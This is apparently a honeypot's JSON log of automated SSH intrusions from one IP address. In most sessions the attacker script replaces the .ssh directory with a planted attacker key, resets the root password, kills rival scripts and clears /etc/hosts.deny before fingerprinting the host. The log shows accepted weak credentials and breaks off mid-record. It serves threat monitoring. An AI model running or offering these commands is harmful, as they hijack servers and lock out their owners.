.ssh","started_at":"2026-08-27T06:59:18.510870+00:00","ended_at":"2026-08-27T06:59:20.656529+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T06:58:58.161601+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:58:58.511777+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:59:03.423304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:59:04.243770+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:59:04.593593+00:00","kind":"input","latency_ms":null,"data":"echo \"root:hNvxeFlEsQRF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:59:04.941650+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:59:05.290506+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:59:05.954543+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:59:06.305912+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:59:07.478875+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:59:07.835349+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:59:08.966878+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:59:09.318392+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:59:09.634681+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:59:09.984938+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:59:10.651283+00:00","kind":"output","latency_ms":null,"data":" 06:59:10 up 7 days, 3:49, 0 user, load average: 0.11, 0.11, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:59:11.000679+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:59:11.543327+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:59:11.891564+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:59:12.444733+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:59:12.797088+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:59:13.233357+00:00","kind":"output","latency_ms":null,"data":"top - 06:59:13 up 7 days, 3:49, 0 user, load average: 0.11, 0.11, 0.09\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:59:13.582190+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:59:14.481872+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:59:14.831502+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:59:15.491172+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:59:15.840627+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:59:16.470482+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:59:16.822053+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:59:18.162989+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:59:18.511783+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:59:20.552115+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"13141516","method":"password","accepted":true,"tier":"other"}]} {"id":"cd337afe-137f-4ac9-bc9a-20e8dcbd7860","name":"rustic-zealous-wren","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":38200,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":335,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:57:11.711848+00:00","ended_at":"2026-08-27T06:57:13.878106+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T06:56:51.313940+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:56:51.648297+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:56:56.742297+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:56:57.335434+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:56:57.672681+00:00","kind":"input","latency_ms":null,"data":"echo \"root:BM6SWzOFoUJi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:56:58.006308+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:56:58.340025+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:56:58.675114+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:56:59.007695+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:57:00.334027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:57:00.671939+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:57:02.052461+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:57:02.389627+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:57:03.193164+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:57:03.528681+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:57:04.137060+00:00","kind":"output","latency_ms":null,"data":" 06:57:04 up 7 days, 3:47, 0 user, load average: 0.29, 0.31, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:57:04.472671+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:57:04.936354+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:57:05.277019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:57:06.066784+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:57:06.402692+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:57:06.821848+00:00","kind":"output","latency_ms":null,"data":"top - 06:57:06 up 7 days, 3:47, 0 user, load average: 0.29, 0.31, 0.24\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:57:07.157179+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:57:07.665175+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:57:07.999287+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:57:08.690731+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:57:09.026331+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:57:09.594934+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:57:09.930960+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:57:11.377926+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:57:11.712784+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:57:13.776872+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Test1234!","method":"password","accepted":true,"tier":"other"}]} {"id":"cfed138f-a5a9-435f-8c03-b58c4ce0cb34","name":"mindful-amiable-tern","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":46902,"username":"mom","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":333,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:54:59.278006+00:00","ended_at":"2026-08-27T06:55:00.845150+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2099,"events":[{"seq":1,"at":"2026-08-27T06:54:40.545479+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:54:40.878002+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:54:45.197119+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:54:45.634353+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:54:45.968222+00:00","kind":"input","latency_ms":null,"data":"echo -e \"mom\\nSxPuQqTUduhy\\nSxPuQqTUduhy\"|passwd|bash"},{"seq":6,"at":"2026-08-27T06:54:46.298472+00:00","kind":"input","latency_ms":null,"data":"echo \"mom\\nSxPuQqTUduhy\\nSxPuQqTUduhy\\n\"|passwd"},{"seq":7,"at":"2026-08-27T06:54:46.630469+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:54:47.015586+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:54:47.348259+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:54:48.957079+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:54:49.306427+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:54:50.676496+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:54:51.011726+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:54:51.587866+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:54:51.920663+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:54:52.380244+00:00","kind":"output","latency_ms":null,"data":" 06:54:52 up 7 days, 3:44, 0 user, load average: 0.3, 0.23, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:54:52.714918+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:54:53.062730+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:54:53.396678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:54:53.655334+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:54:53.988739+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:54:54.853377+00:00","kind":"output","latency_ms":null,"data":"top - 06:54:54 up 7 days, 3:45, 0 user, load average: 0.3, 0.23, 0.24\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:54:55.186804+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:54:55.512252+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:54:55.840091+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:54:56.626568+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:54:56.957924+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:54:57.232265+00:00","kind":"output","latency_ms":null,"data":"mom"},{"seq":29,"at":"2026-08-27T06:54:57.564899+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:54:58.945658+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:54:59.278991+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:55:00.749164+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mom","password":"mom","method":"password","accepted":true,"tier":"other"}]} {"id":"b40208fd-5f2f-42cf-992b-9a2614c05fa3","name":"weathered-blithe-finch","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":55604,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":335,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:52:58.776446+00:00","ended_at":"2026-08-27T06:52:59.765840+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T06:52:39.748640+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:52:40.084506+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:52:44.293124+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:52:44.585043+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:52:44.924238+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JPGSLUX8RjbQ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:52:45.254680+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:52:45.589280+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:52:45.842617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:52:46.179062+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:52:47.501749+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:52:47.837936+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:52:49.207963+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:52:49.545792+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:52:50.195153+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:52:50.529525+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:52:51.009380+00:00","kind":"output","latency_ms":null,"data":" 06:52:51 up 7 days, 3:42, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:52:51.346047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:52:51.886739+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:52:52.226363+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:52:52.562157+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:52:52.897374+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:52:53.536750+00:00","kind":"output","latency_ms":null,"data":"top - 06:52:53 up 7 days, 3:43, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:52:53.872704+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:52:54.762893+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:52:55.098185+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:52:55.860052+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:52:56.195674+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:52:56.855157+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:52:57.189937+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:52:58.442985+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:52:58.777370+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:52:59.664630+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"linux123","method":"password","accepted":true,"tier":"other"}]} {"id":"8d9eac5c-44da-46cf-a5e9-5ae46d66d5c3","name":"graceful-dappled-quail","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":36070,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":351,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:50:59.036810+00:00","ended_at":"2026-08-27T06:51:00.435845+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2139,"events":[{"seq":1,"at":"2026-08-27T06:50:39.284541+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:50:39.641991+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:50:44.254936+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:50:44.678795+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:50:45.033222+00:00","kind":"input","latency_ms":null,"data":"echo \"root:PFMWTEDwNfUM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:50:45.383236+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:50:45.734743+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:50:46.493017+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:50:46.845415+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:50:48.059803+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:50:48.413639+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:50:49.444359+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:50:49.795156+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:50:50.511871+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 